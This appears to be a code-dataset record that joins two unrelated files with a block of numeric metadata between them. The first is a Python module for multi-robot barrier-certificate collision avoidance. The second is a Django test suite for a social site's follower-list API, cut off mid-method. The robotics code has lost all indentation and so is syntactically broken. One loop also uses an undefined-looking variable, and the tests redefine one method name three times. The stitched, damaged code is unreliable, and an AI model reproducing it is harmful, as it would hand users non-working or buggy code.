def create_unicycle_differential_drive_barrier_certificate(max_num_obstacle_points = 100, max_num_robots = 30, disturbance = 5, wheel_vel_limit = 12.5, base_length = 0.105, wheel_radius = 0.016,
projection_distance =0.05, barrier_gain = 150, safety_radius = 0.17):
D = np.matrix([[wheel_radius/2, wheel_radius/2], [-wheel_radius/base_length, wheel_radius/base_length]])
L = np.matrix([[1,0],[0,projection_distance]])* D
disturb = np.matrix([[-disturbance, -disturbance, disturbance, disturbance],[-disturbance, disturbance, disturbance, -disturbance]])
num_disturbs = np.size(disturb[1,:])
max_num_constraints = (max_num_robots**2-max_num_robots)//2 + max_num_robots*max_num_obstacle_points
A = np.matrix(np.zeros([max_num_constraints, 2*max_num_robots]))
b = np.matrix(np.zeros([max_num_constraints, 1]))
Os = np.matrix(np.zeros([2,max_num_robots]))
ps = np.matrix(np.zeros([2,max_num_robots]))
Ms = np.matrix(np.zeros([2,2*max_num_robots]))
def robust_barriers(dxu, x, obstacles=np.empty(0)):
num_robots = np.size(dxu[0,:])
if obstacles.size != 0:
num_obstacles = np.size(obstacles[0,:])
else:
num_obstacles = 0
if(num_robots < 2):
temp = 0
else:
temp = (num_robots**2-num_robots)//2
# Generate constraints for barrier certificates based on the size of the safety radius
num_constraints = temp + num_robots*num_obstacles
A[0:num_constraints, 0:2*num_robots] = 0
Os[0, 0:num_robots] = np.cos(x[2, :])
Os[1, 0:num_robots] = np.sin(x[2, :])
ps[:, 0:num_robots] = x[0:2, :] + projection_distance*Os[:, 0:num_robots]
# Ms Real Form
# Ms[0, 0:2*num_robots:2] = Os[0, 0:num_robots]
# Ms[0, 1:2*num_robots:2] = -projection_distance*Os[1, 0:num_robots]
# Ms[1, 1:2*num_robots:2] = projection_distance*Os[0, 0:num_robots]
# Ms[1, 0:2*num_robots:2] = Os[1, 0:num_robots]
# Flipped Ms to be able to perform desired matrix multiplication
Ms[0, 0:2*num_robots:2] = Os[0, 0:num_robots]
Ms[0, 1:2*num_robots:2] = Os[1, 0:num_robots]
Ms[1, 1:2*num_robots:2] = projection_distance*Os[0, 0:num_robots]
Ms[1, 0:2*num_robots:2] = -projection_distance*Os[1, 0:num_robots]
MDs = (Ms.T * D).T
temp = np.copy(MDs[1, 0:2*num_robots:2])
MDs[1, 0:2*num_robots:2] = MDs[0, 1:2*num_robots:2]
MDs[0, 1:2*num_robots:2] = temp
count = 0
for i in range(num_robots-1):
diffs = ps[:,i] - ps[:, i+1:num_robots]
hs = np.sum(np.square(diffs),0) - safety_radius**2 # 1 by N
h_dot_is = 2*diffs.T*MDs[:,(2*i, 2*i+1)] # N by 2
h_dot_js = np.matrix(np.zeros((2,num_robots - (i+1))))
h_dot_js[0, :] = -np.sum(2*np.multiply(diffs, MDs[:,2*(i+1):2*num_robots:2]), 0)
h_dot_js[1, :] = -np.sum(2*np.multiply(diffs, MDs[:,2*(i+1)+1:2*num_robots:2]), 0)
new_constraints = num_robots - i - 1
A[count:count+new_constraints, (2*i):(2*i+2)] = h_dot_is
A[range(count,count+new_constraints), range(2*(i+1),2*num_robots,2)] = h_dot_js[0,:]
A[range(count,count+new_constraints), range(2*(i+1)+1,2*num_robots,2)] = h_dot_js[1,:]
b[count:count+new_constraints] = -barrier_gain*(np.power(hs,3)).T - np.min(h_dot_is*disturb,1) - np.min(h_dot_js.T*disturb,1)
count += new_constraints
if obstacles.size != 0:
# Do obstacles
for i in range(num_robots):
diffs = (ps[:, i] - obstacles)
h = np.sum(np.square(diffs),0) - safety_radius**2
h_dot_i = 2*diffs.T*MDs[:,2*i:2*i+2]
A[count:count+num_obstacles,(2*i):(2*i+2)] = h_dot_i
b[count:count+num_obstacles] = -barrier_gain*(np.power(h,3)).T - np.min(h_dot_i*disturb, 1)
count = count + num_obstacles
# Adding Upper Bounds On Wheels
A[count:count+2*num_robots,0:2*num_robots] = -np.eye(2*num_robots)
b[count:count+2*num_robots] = -wheel_vel_limit
count += 2*num_robots
# # Adding Lower Bounds on Wheels
A[count:count+2*num_robots,0:2*num_robots] = np.eye(2*num_robots)
b[count:count+2*num_robots] = -wheel_vel_limit
count += 2*num_robots
# Solve QP program generated earlier
L_all = np.kron(np.eye(num_robots), L)
dxu = np.linalg.inv(D)*dxu # Convert user input to differential drive
vhat = np.matrix(np.reshape(dxu ,(2*num_robots,1), order='F'))
H = 2*L_all.T*L_all
f = np.transpose(-2*np.transpose(vhat)*np.transpose(L_all)*L_all)
# Alternative Solver
#start = time.time()
#vnew2 = solvers.qp(matrix(H), matrix(f), -matrix(A[0:count,0:2*num_robots]), -matrix( b[0:count]))['x'] # , A, b) Omit last 2 arguments since our QP has no equality constraints
#print("Time Taken by cvxOpt: {} s".format(time.time() - start))
vnew = solver2.solve_qp(H, -np.squeeze(np.array(f)), A[0:count,0:2*num_robots].T, np.squeeze(np.array(b[0:count])))[0]
# Initial Guess for Solver at the Next Iteration
# vnew = quadprog(H, double(f), -A(1:num_constraints,1:2*num_robots), -b(1:num_constraints), [], [], -wheel_vel_limit*ones(2*num_robots,1), wheel_vel_limit*ones(2*num_robots,1), [], opts);
# Set robot velocities to new velocities
dxu = np.reshape(vnew, (2, num_robots), order='F')
dxu = D*dxu
return dxu
return robust_barriers
def create_unicycle_differential_drive_barrier_certificate_with_boundary(max_num_obstacle_points = 100, max_num_robots = 30, disturbance = 5, wheel_vel_limit = 12.5, base_length = 0.105, wheel_radius = 0.016,
projection_distance =0.05, barrier_gain = 150, safety_radius = 0.17, boundary_points = np.array([-1.6, 1.6, -1.0, 1.0])):
D = np.array([[wheel_radius/2, wheel_radius/2], [-wheel_radius/base_length, wheel_radius/base_length]])
L = np.array([[1,0],[0,projection_distance]]).dot(D)
disturb = np.array([[-disturbance, -disturbance, disturbance, disturbance],[-disturbance, disturbance, disturbance, -disturbance]])
num_disturbs = disturb.shape[1]
max_num_constraints = (max_num_robots**2-max_num_robots)//2 + max_num_robots*max_num_obstacle_points
A = np.zeros([max_num_constraints, 2*max_num_robots])
b = np.zeros([max_num_constraints, 1])
Os = np.zeros([2,max_num_robots])
ps = np.zeros([2,max_num_robots])
Ms = np.zeros([2,2*max_num_robots])
def robust_barriers(dxu, x, obstacles=np.empty(0)):
num_robots = np.size(dxu[0,:])
if obstacles.size != 0:
num_obstacles = np.size(obstacles[0,:])
else:
num_obstacles = 0
if(num_robots < 2):
temp = 0
else:
temp = (num_robots**2-num_robots)//2
# Generate constraints for barrier certificates based on the size of the safety radius
num_constraints = temp + num_robots*num_obstacles + 4*num_robots
A[0:num_constraints, 0:2*num_robots] = 0
Os[0, 0:num_robots] = np.cos(x[2, :])
Os[1, 0:num_robots] = np.sin(x[2, :])
ps[:, 0:num_robots] = x[:2, :] + projection_distance*Os[:, 0:num_robots]
Ms[0, 0:2*num_robots:2] = Os[0, 0:num_robots]
Ms[0, 1:2*num_robots:2] = -projection_distance*Os[1, 0:num_robots]
Ms[1, 1:2*num_robots:2] = projection_distance*Os[0, 0:num_robots]
Ms[1, 0:2*num_robots:2] = Os[1, 0:num_robots]
ret = np.zeros([1,temp])
count = 0
for i in range(num_robots-1):
for j in range(i+1, num_robots):
diff = ps[:, [i]] - ps[:, [j]]
h = np.sum(np.square(diff),0) - safety_radius**2
h_dot_i = 2*diff.T.dot(Ms[:, ((2*i), (2*i+1))].dot(D))
h_dot_j = -2*diff.T.dot(Ms[:, ((2*j), (2*j+1))].dot(D))
h_dot_i = np.reshape(h_dot_i, (1,2))
h_dot_j = np.reshape(h_dot_j, (1,2))
A[count, ((2*i), (2*i+1))]=h_dot_i
A[count, ((2*j), (2*j+1))]=h_dot_j
b[count] = -barrier_gain*(np.power(h,3)) - np.min(h_dot_i.dot(disturb), 1) - np.min(h_dot_j.dot(disturb), 1)
count += 1
if obstacles.size != 0:
# Do obstacles
for i in range(num_robots):
diffs = (ps[:, i] - obstacles)
h = np.sum(np.square(diff),0) - safety_radius**2
h_dot_i = 2*diffs*Ms[:, (2*i, 2*i+1)].dot(D)
A[count:count+num_obstacles, ((2*i),(2*i+1))] = h_dot_i
b[count:count+num_obstacles] = -barrier_gain*(np.power(h,3)) - np.min(h_dot_i.dot(disturb), 1)
count = count + num_obstacles
for k in range(num_robots):
#Pos Y
A[count, (2*k, 2*k+1)] = -Ms[1,(2*k,2*k+1)].dot(D)
b[count] = -0.4*barrier_gain*(boundary_points[3] - safety_radius/2 - ps[1,k])**3;
count += 1
#Neg Y
A[count, (2*k, 2*k+1)] = Ms[1,(2*k,2*k+1)].dot(D)
b[count] = -0.4*barrier_gain*(-boundary_points[2] - safety_radius/2 + ps[1,k])**3;
count += 1
#Pos X
A[count, (2*k, 2*k+1)] = -Ms[0,(2*k,2*k+1)].dot(D)
b[count] = -0.4*barrier_gain*(boundary_points[1] - safety_radius/2 - ps[0,k])**3;
count += 1
#Neg X
A[count, (2*k, 2*k+1)] = Ms[0,(2*k,2*k+1)].dot(D)
b[count] = -0.4*barrier_gain*(-boundary_points[0] - safety_radius/2 + ps[0,k])**3;
count += 1
# Adding Upper Bounds On Wheels
A[count:count+2*num_robots,0:2*num_robots] = -np.eye(2*num_robots)
b[count:count+2*num_robots] = -wheel_vel_limit
count += 2*num_robots
# # Adding Lower Bounds on Wheels
A[count:count+2*num_robots,0:2*num_robots] = np.eye(2*num_robots)
b[count:count+2*num_robots] = -wheel_vel_limit
count += 2*num_robots
# Solve QP program generated earlier
L_all = np.kron(np.eye(num_robots), L)
dxu = np.linalg.inv(D).dot(dxu) # Convert user input to differential drive
vhat = np.reshape(dxu ,(2*num_robots,1), order='F')
H = 2*L_all.T.dot(L_all)
f = -2*vhat.T.dot(L_all.T.dot(L_all))
# Alternative Solver
#start = time.time()
vnew = qp(matrix(H), matrix(f.T), -matrix(A[0:count,0:2*num_robots]), -matrix( b[0:count]))['x'] # , A, b) Omit last 2 arguments since our QP has no equality constraints
#print("Time Taken by cvxOpt: {} s".format(time.time() - start))
# vnew = solver2.solve_qp(H, np.float64(f), -A[0:count,0:2*num_robots], -np.array(b[0:count]))[0]
# Initial Guess for Solver at the Next Iteration
# vnew = quadprog(H, double(f), -A(1:num_constraints,1:2*num_robots), -b(1:num_constraints), [], [], -wheel_vel_limit*ones(2*num_robots,1), wheel_vel_limit*ones(2*num_robots,1), [], opts);
# Set robot velocities to new velocities
dxu = np.reshape(vnew, (2, -1), order='F')
dxu = D.dot(dxu)
return dxu
return robust_barriers
| 67.591549
| 419
| 0.69621
| 6,592
| 43,191
| 4.379248
| 0.050364
| 0.035229
| 0.036927
| 0.034225
| 0.952785
| 0.94603
| 0.93886
| 0.926666
| 0.909277
| 0.896772
| 0
| 0.025146
| 0.197124
| 43,191
| 638
| 420
| 67.697492
| 0.807336
| 0.142206
| 0
| 0.591781
| 0
| 0.213699
| 0.400441
| 0.095206
| 0
| 0
| 0
| 0
| 0.224658
| 1
| 0.043836
| false
| 0
| 0.021918
| 0
| 0.109589
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
6b3db1763252a184a80f2ba7d01a7fad3d9d0b45
| 29,959
|
py
|
Python
|
server/followers/tests/tests_follower_list_endpoint.py
|
amy-xiang/CMPUT404_PROJECT
|
cbcea0cd164d6377ede397e934f960505e8f347a
|
[
"W3C-20150513"
] | 1
|
2021-04-06T22:35:53.000Z
|
2021-04-06T22:35:53.000Z
|
server/followers/tests/tests_follower_list_endpoint.py
|
amy-xiang/CMPUT404_PROJECT
|
cbcea0cd164d6377ede397e934f960505e8f347a
|
[
"W3C-20150513"
] | null | null | null |
server/followers/tests/tests_follower_list_endpoint.py
|
amy-xiang/CMPUT404_PROJECT
|
cbcea0cd164d6377ede397e934f960505e8f347a
|
[
"W3C-20150513"
] | null | null | null |
from django.test import TestCase
from django.contrib.auth import get_user_model
from django.urls import reverse
from rest_framework.test import APIClient
from rest_framework import status
from main import models
import uuid
def create_author(**params):
"""Helper function to create author"""
return get_user_model().objects.create_author(**params)
def author_b_follow_author_a_url(aId, bId):
"""Helper function to create author B to follow author A URL"""
return reverse(
'followers:followers modify',
kwargs={'id': aId, 'foreignId': bId}
)
class TestFollowersListEndpoint(TestCase):
"""Test API(GET)://api/author/{id}/followers"""
def setUp(self):
self.client = APIClient()
def test_author_followers(self):
"Test return a follower list if the author exists"
user = create_author(
username='abc001',
password='abcpwd',
adminApproval=True,
id=uuid.UUID('77f1df52-4b43-11e9-910f-b8ca3a9b9f3e').int,
)
self.client.force_authenticate(user=user)
res = self.client.get('/api/author/77f1df52-4b43-11e9-910f-b8ca3a9b9f3e/followers/')
self.assertEqual(res.status_code, status.HTTP_404_NOT_FOUND)
def test_author_followers(self):
"Test return a follower list that include remote followers if the author exists"
user = create_author(
username='abc001',
password='abcpwd',
adminApproval=True,
id=uuid.UUID('77f1df52-4b43-11e9-910f-b8ca3a9b9f3e').int,
)
remote_author_payload = {
"type":"author",
"id":"11111111-4b43-11e9-910f-b8ca3a9b9f3e",
"url":"http://team6/api/11111111-4b43-11e9-910f-b8ca3a9b9f3e",
"host":"http://team6/",
"displayName":"Greg Johnson",
"github": "http://github.com/gjohnson"
}
self.client.force_authenticate(user=user)
author = models.Followers.objects.get(author=user)
# Create Remote user
author.remoteFollowers['teamabc'] = remote_author_payload
author.save()
res = self.client.get('/api/author/77f1df52-4b43-11e9-910f-b8ca3a9b9f3e/followers/')
self.assertEqual(res.status_code, status.HTTP_200_OK)
self.assertEqual(len(res.data['items']), 1)
def test_author_followers(self):
"Test return a follower list that include remote and local followers if the author exists"
user = create_author(
username='abc001',
password='abcpwd',
adminApproval=True,
id=uuid.UUID('77f1df52-4b43-11e9-910f-b8ca3a9b9f3e').int,
)
userB = create_author(
username='abc002',
password='abcpwd',
adminApproval=True,
id=uuid.UUID('77f1df52-4b43-11e9-910f-b8ca3a9b9f3a').int,
)
remote_author_payload = {
"type":"author",
"id":"9b44a821-e0aa-4dbe-aba0-97e002e88d45",
"url":"http://team6/api/11111111-4b43-11e9-910f-b8ca3a9b9f3e",
"host":"http://team6/",
"displayName":"Greg Johnson",
"github": "http://github.com/gjohnson"
}
self.client.force_authenticate(user=user)
author = models.Followers.objects.get(author=user)
# Create Remote user
author.remoteFollowers['9b44a821-e0aa-4dbe-aba0-97e002e88d45'] = remote_author_payload
author.save()
# Local user
author.followers.add(userB)
author.save()
res = self.client.get('/api/author/77f1df52-4b43-11e9-910f-b8ca3a9b9f3e/followers/')
self.assertEqual(res.status_code, status.HTTP_200_OK)
self.assertEqual(len(res.data['items']), 2)
def test_invalid_author_followers(self):
"Test return error if author does not exists"
user = create_author(
username='abc001',
password='abcpwd',
adminApproval=True,
id=uuid.UUID('77f1df52-4b43-11e9-910f-b8ca3a9b9f3e').int,
)
self.client.force_authenticate(user=user)
res = self.client.get('/api/author/abc123/followers/')
self.assertEqual(res.status_code, status.HTTP_404_NOT_FOUND)
def test_endpoint_with_unauthorized_user(self):
"Test endpoint is safeguard by user credential"
create_author(
username='abc001',
password='abcpwd',
adminApproval=True,
id=uuid.UUID('77f1df52-4b43-11e9-910f-b8ca3a9b9f3e').int,
)
res = self.client.get('/api/author/77f1df52-4b43-11e9-910f-b8ca3a9b9f3e/followers/')
self.assertEqual(res.status_code, status.HTTP_401_UNAUTHORIZED)
def test_endpoint_with_admin_approval(self):
"Test endpoint is safeguard by adminApproval"
user = create_author(
username='abc001',
password='abcpwd',
adminApproval=False,
id=uuid.UUID('77f1df52-4b43-11e9-910f-b8ca3a9b9f3e').int,
)
self.client.force_authenticate(user=user)
res = self.client.get('/api/author/77f1df52-4b43-11e9-910f-b8ca3a9b9f3e/followers/')
self.assertEqual(res.status_code, status.HTTP_401_UNAUTHORIZED)
def test_create_follower_object(self):
"Test create follower object is does not exists"
user = create_author(
username='abc001',
password='abcpwd',
adminApproval=True,
id=uuid.UUID('77f1df52-4b43-11e9-910f-b8ca3a9b9f3e'),
)
self.client.force_authenticate(user=user)
res = self.client.get('/api/author/77f1df52-4b43-11e9-910f-b8ca3a9b9f3e/followers/')
self.assertEqual(res.status_code, status.HTTP_200_OK)
self.assertEqual(len(res.data['items']), 0)
class TestFollowerCheckEndpoint(TestCase):
"""Test API(GET)://api/author/{id}/followers/{foreign_id}"""
def setUp(self):
self.client = APIClient()
self.authorA = create_author(
username='abc001',
password='abcpwd',
adminApproval=True,
id=uuid.UUID('77f1df52-4b43-11e9-910f-b8ca3a9b9f3e').int,
)
def test_follower_check(self):
"Test if our author B is not following our author A"
create_author(
username='abc002',
password='abcpwd',
adminApproval=True,
id=uuid.UUID('88f1df52-4b43-11e9-910f-b8ca3a9b9fbb').int,
)
self.client.force_authenticate(user=self.authorA)
res = self.client.get('/service/author/77f1df52-4b43-11e9-910f-b8ca3a9b9f3e/followers/88f1df52-4b43-11e9-910f-b8ca3a9b9fbb/')
self.assertEqual(res.status_code, status.HTTP_404_NOT_FOUND)
def test_follower_with_unauthorized_user(self):
"Test if endpoint is safeguard by user credential"
create_author(
username='abc002',
password='abcpwd',
adminApproval=True,
id=uuid.UUID('88f1df52-4b43-11e9-910f-b8ca3a9b9fbb').int,
)
res = self.client.get('/api/author/77f1df52-4b43-11e9-910f-b8ca3a9b9f3e/followers/88f1df52-4b43-11e9-910f-b8ca3a9b9fbb/')
self.assertEqual(res.status_code, status.HTTP_401_UNAUTHORIZED)
def test_follower_admin_approval(self):
"Test if follower check endpoint is safeguard by adminApproval"
authorB = create_author(
username='abc002',
password='abcpwd',
adminApproval=False,
id=uuid.UUID('88f1df52-4b43-11e9-910f-b8ca3a9b9fbb').int,
)
self.client.force_authenticate(user=authorB)
res = self.client.get('/api/author/77f1df52-4b43-11e9-910f-b8ca3a9b9f3e/followers/88f1df52-4b43-11e9-910f-b8ca3a9b9fbb/')
self.assertEqual(res.status_code, status.HTTP_401_UNAUTHORIZED)
def test_follower_invalid_author_uuid(self):
"Test follower check with invlid author uuid"
self.client.force_authenticate(user=self.authorA)
res = self.client.get('/api/author/hello/followers/88f1df52-4b43-11e9-910f-b8ca3a9b9fbb/')
self.assertEqual(res.status_code, status.HTTP_404_NOT_FOUND)
def test_follower_invalid_foreign_author_uuid(self):
"Test follower check invlid author B uuid"
create_author(
username='abc002',
password='abcpwd',
adminApproval=False,
id=uuid.UUID('88f1df52-4b43-11e9-910f-b8ca3a9b9fbb').int,
)
self.client.force_authenticate(user=self.authorA)
res = self.client.get('/api/author/77f1df52-4b43-11e9-910f-b8ca3a9b9f3e/followers/88f1df52-4b43-11e9-910f-b8ca3a9b9fcc/')
self.assertEqual(res.status_code, status.HTTP_404_NOT_FOUND)
def test_author_remote_followers(self):
"Test return true if remote author B is follow our author A"
remote_author_payload = {
"type":"author",
"id":"9b44a821-e0aa-4dbe-aba0-97e002e88d45",
"url":"http://team6/api/11111111-4b43-11e9-910f-b8ca3a9b9f3e",
"host":"http://team6/",
"displayName":"Greg Johnson",
"github": "http://github.com/gjohnson"
}
self.client.force_authenticate(user=self.authorA)
author = models.Followers.objects.get(author=self.authorA)
# Create Remote user
author.remoteFollowers['9b44a821-e0aa-4dbe-aba0-97e002e88d45'] = remote_author_payload
author.save()
res = self.client.get('/api/author/77f1df52-4b43-11e9-910f-b8ca3a9b9f3e/followers/9b44a821-e0aa-4dbe-aba0-97e002e88d45/')
self.assertEqual(res.status_code, status.HTTP_200_OK)
def test_invalid_author_remote_follower(self):
"Test return 404 if remote author B check with invalid local author A"
remote_author_payload = {
"type":"author",
"id":"9b44a821-e0aa-4dbe-aba0-97e002e88d45",
"url":"http://team6/api/11111111-4b43-11e9-910f-b8ca3a9b9f3e",
"host":"http://team6/",
"displayName":"Greg Johnson",
"github": "http://github.com/gjohnson"
}
self.client.force_authenticate(user=self.authorA)
author = models.Followers.objects.get(author=self.authorA)
# Create Remote user
author.remoteFollowers['9b44a821-e0aa-4dbe-aba0-97e002e88d45'] = remote_author_payload
author.save()
res = self.client.get('/api/author/hello/followers/9b44a821-e0aa-4dbe-aba0-97e002e88d45/')
self.assertEqual(res.status_code, status.HTTP_404_NOT_FOUND)
class TestAddFollowerEndpoint(TestCase):
"""Test API(PUT)://api/author/{id}/followers/{foreign_id}"""
def setUp(self):
self.client = APIClient()
self.authorA = create_author(
username='abc001',
password='abcpwd',
adminApproval=True,
id=uuid.UUID('77f1df52-4b43-11e9-910f-b8ca3a9b9f3e'),
)
self.team6Credential = create_author(
username='team6',
password='abcpwd',
adminApproval=True,
id=uuid.UUID('77f1df52-4b43-11e9-910f-b8ca3a9b9f3f'),
)
def test_adding_follower(self):
"Test adding author B to follow author A"
authorB = create_author(
username='abc002',
password='abcpwd',
adminApproval=True,
id=uuid.UUID('88f1df52-4b43-11e9-910f-b8ca3a9b9fbb'),
)
payload = {
'actor': {
'host': 'https://konnection-server.herokuapp.com/',
'id': 'aaaaa',
},
'object': {
'host': 'https://konnection-server.herokuapp.com/',
'id': 'bbbb',
}
}
self.client.force_authenticate(user=authorB)
res = self.client.put(author_b_follow_author_a_url(self.authorA.id, authorB.id), payload, format='json')
self.assertEqual(res.status_code, status.HTTP_200_OK)
def test_adding_follower_with_incorrect_credentials(self):
"Test adding follower with invalid author B credentials"
authorB = create_author(
username='abc002',
password='abcpwd',
adminApproval=True,
id=uuid.UUID('88f1df52-4b43-11e9-910f-b8ca3a9b9fbb'),
)
self.client.force_authenticate(user=authorB)
payload = {
'actor': {
'host': 'https://konnection-server.herokuapp.com/',
'id': 'aaaaa',
},
'object': {
'host': 'https://konnection-server.herokuapp.com/',
'id': 'aaaaa',
}
}
res = self.client.put('/api/author/77f1df52-4b43-11e9-910f-b8ca3a9b9f3e/followers/99f1df52-4b43-11e9-910f-b8ca3a9b9fb1/', payload, format='json')
self.assertEqual(res.status_code, status.HTTP_401_UNAUTHORIZED)
def test_adding_follower_to_invalid_author(self):
"Test adding follower with invalid author A uuid"
authorB = create_author(
username='abc002',
password='abcpwd',
adminApproval=True,
id=uuid.UUID('88f1df52-4b43-11e9-910f-b8ca3a9b9fbb'),
)
payload = {
'actor': {
'host': 'https://konnection-server.herokuapp.com/',
'id': 'aaaaa',
},
'object': {
'host': 'https://konnection-server.herokuapp.com/',
'id': 'bbbb',
}
}
self.client.force_authenticate(user=authorB)
res = self.client.put('/api/author/hello/followers/88f1df52-4b43-11e9-910f-b8ca3a9b9fbb/', payload, format='json')
self.assertEqual(res.status_code, status.HTTP_404_NOT_FOUND)
def test_adding_follower_with_unauthorized_user(self):
"Test adding follower endpoint is safeguard by user credential"
create_author(
username='abc002',
password='abcpwd',
adminApproval=True,
id=uuid.UUID('88f1df52-4b43-11e9-910f-b8ca3a9b9fbb'),
)
payload = {
'actor': {
'host': 'https://konnection-server.herokuapp.com/',
'id': 'aaaaa',
},
'object': {
'host': 'https://konnection-server.herokuapp.com/',
'id': 'bbbbb',
}
}
res = self.client.put('/api/author/hello/followers/88f1df52-4b43-11e9-910f-b8ca3a9b9fbb/', payload, format='json')
self.assertEqual(res.status_code, status.HTTP_401_UNAUTHORIZED)
def test_adding_follower_user_admin_approval(self):
"Test adding follower endpoint is safeguard by adminApproval"
authorB = create_author(
username='abc002',
password='abcpwd',
adminApproval=False,
id=uuid.UUID('88f1df52-4b43-11e9-910f-b8ca3a9b9fbb'),
)
payload = {
'actor': {
'host': 'https://konnection-server.herokuapp.com/',
'id': 'aaaaa',
},
'object': {
'host': 'https://konnection-server.herokuapp.com/',
'id': 'bbbbb',
}
}
self.client.force_authenticate(user=authorB)
res = self.client.put('/api/author/hello/followers/88f1df52-4b43-11e9-910f-b8ca3a9b9fbb/', payload, format='json')
self.assertEqual(res.status_code, status.HTTP_401_UNAUTHORIZED)
def test_adding_follower_endpoint_check_foreign_id_with_loggedin_user(self):
"Test to ensure user login as the foreign id before adding following other author"
authorB = create_author(
username='abc002',
password='abcpwd',
adminApproval=True,
id=uuid.UUID('88f1df52-4b43-11e9-910f-b8ca3a9b9fbb'),
)
create_author(
username='abc003',
password='abcpwd',
adminApproval=True,
id=uuid.UUID('88f1df52-4b43-11e9-910f-b8ca3a9b9fcc'),
)
payload = {
'actor': {
'host': 'https://konnection-server.herokuapp.com/',
'id': 'aaaaa',
},
'object': {
'host': 'https://konnection-server.herokuapp.com/',
'id': 'bbbbb',
}
}
self.client.force_authenticate(user=authorB)
res = self.client.put('/api/author/77f1df52-4b43-11e9-910f-b8ca3a9b9f3e/followers/88f1df52-4b43-11e9-910f-b8ca3a9b9fcc/', payload, format='json')
self.assertEqual(res.status_code, status.HTTP_401_UNAUTHORIZED)
def test_create_follower_object(self):
"Test create follower object if it does not exists locally"
authorB = create_author(
username='abc002',
password='abcpwd',
adminApproval=True,
id=uuid.UUID('88f1df52-4b43-11e9-910f-b8ca3a9b9fbb'),
)
self.client.force_authenticate(user=authorB)
payload = {
'actor': {
'host': 'https://konnection-server.herokuapp.com/',
'id': 'aaaaa',
},
'object': {
'host': 'https://konnection-server.herokuapp.com/',
'id': 'bbbbb',
}
}
res = self.client.put(author_b_follow_author_a_url(self.authorA.id, authorB.id), payload, format='json')
self.assertEqual(res.status_code, status.HTTP_200_OK)
self.assertEqual(res.data['items'][0]['status'], True)
def test_cross_sever_adding_follower(self):
"Test adding foreign author B to follow local author A"
payload = {
'actor': {
'host': 'https://team6.herokuapp.com',
'id': 'aaaaa',
},
'object': {
'host': 'https://konnection-server.herokuapp.com/',
'id': 'bbbbb',
}
}
self.client.force_authenticate(user=self.team6Credential)
res = self.client.put(author_b_follow_author_a_url(self.authorA.id, self.team6Credential.id), payload, format='json')
self.assertEqual(res.status_code, status.HTTP_200_OK)
def test_cross_server_adding_follower_without_actor_id(self):
"Test adding foreign author B to follow local author A without actor id"
payload = {
'actor': {
'host': 'https://team6.herokuapp.com',
},
'object': {
'host': 'https://konnection-server.herokuapp.com/'
}
}
self.client.force_authenticate(user=self.team6Credential)
res = self.client.put(author_b_follow_author_a_url(self.authorA.id, self.team6Credential.id), payload, format='json')
self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST)
def test_cross_server_adding_follower_without_actor_host(self):
"Test adding foreign author B to follow local author A without actor host"
payload = {
'actor': {
},
'object': {
'host': 'https://konnection-server.herokuapp.com/',
}
}
self.client.force_authenticate(user=self.team6Credential)
res = self.client.put(author_b_follow_author_a_url(self.authorA.id, self.team6Credential.id), payload, format='json')
self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST)
def test_cross_server_adding_follower_without_object_host(self):
"Test adding foreign author B to follow local author A without object host"
payload = {
'actor': {
'host': 'https://team6.herokuapp.com',
'id': 'aaaaa',
},
'object': {
}
}
self.client.force_authenticate(user=self.team6Credential)
res = self.client.put(author_b_follow_author_a_url(self.authorA.id, self.team6Credential.id), payload, format='json')
self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST)
class TestDeleteFollowerEndpoint(TestCase):
"""Test API(Delete)://api/author/{id}/followers/{foreign_id}"""
def setUp(self):
self.client = APIClient()
self.authorA = create_author(
username='abc001',
password='abcpwd',
adminApproval=True,
id=uuid.UUID('77f1df52-4b43-11e9-910f-b8ca3a9b9f3e'),
)
def test_unfollowing_an_author(self):
"Test local author B unfollowing an author"
authorB = create_author(
username='abc002',
password='abcpwd',
adminApproval=True,
id=uuid.UUID('88f1df52-4b43-11e9-910f-b8ca3a9b9fbb'),
)
delete_payload = {'host': 'https://konnection-server.herokuapp.com/'}
authorA = models.Followers.objects.get(author=self.authorA)
authorA.followers.add(authorB)
self.client.force_authenticate(user=authorB)
res = self.client.delete('/api/author/77f1df52-4b43-11e9-910f-b8ca3a9b9f3e/followers/88f1df52-4b43-11e9-910f-b8ca3a9b9fbb/', data=delete_payload)
self.assertEqual(res.status_code, status.HTTP_200_OK)
def test_unfollowing_an_not_following_author(self):
"Test author B unfollowing an author that is not in their following"
authorB = create_author(
username='abc002',
password='abcpwd',
adminApproval=True,
id=uuid.UUID('88f1df52-4b43-11e9-910f-b8ca3a9b9fbb'),
)
delete_payload = {'host': 'https://konnection-server.herokuapp.com/'}
self.client.force_authenticate(user=authorB)
res = self.client.delete('/api/author/77f1df52-4b43-11e9-910f-b8ca3a9b9f3e/followers/88f1df52-4b43-11e9-910f-b8ca3a9b9fbb/', data=delete_payload)
self.assertEqual(res.status_code, status.HTTP_200_OK)
def test_unfollow_with_invalid_foreign_id(self):
"Test unfollowing with invalid foreign id"
authorB = create_author(
username='abc002',
password='abcpwd',
adminApproval=True,
id=uuid.UUID('88f1df52-4b43-11e9-910f-b8ca3a9b9fbb'),
)
authorA = models.Followers.objects.get(author=self.authorA)
authorA.followers.add(authorB)
self.client.force_authenticate(user=authorB)
res = self.client.delete('/api/author/77f1df52-4b43-11e9-910f-b8ca3a9b9f3e/followers/hello/')
self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST)
def test_unfollowing_with_invalid_author_id(self):
"Test unfollowing with invalid author id"
authorB = create_author(
username='abc002',
password='abcpwd',
adminApproval=True,
id=uuid.UUID('88f1df52-4b43-11e9-910f-b8ca3a9b9fbb'),
)
authorA = models.Followers.objects.get(author=self.authorA)
authorA.followers.add(authorB)
self.client.force_authenticate(user=authorB)
res = self.client.delete('/api/author/hello/followers/88f1df52-4b43-11e9-910f-b8ca3a9b9fbb/' )
self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST)
def test_unfollowing_with_unauthorized_user(self):
"Test deleting follower endpoint is safeguard by user credential"
create_author(
username='abc002',
password='abcpwd',
adminApproval=True,
id=uuid.UUID('88f1df52-4b43-11e9-910f-b8ca3a9b9fbb'),
)
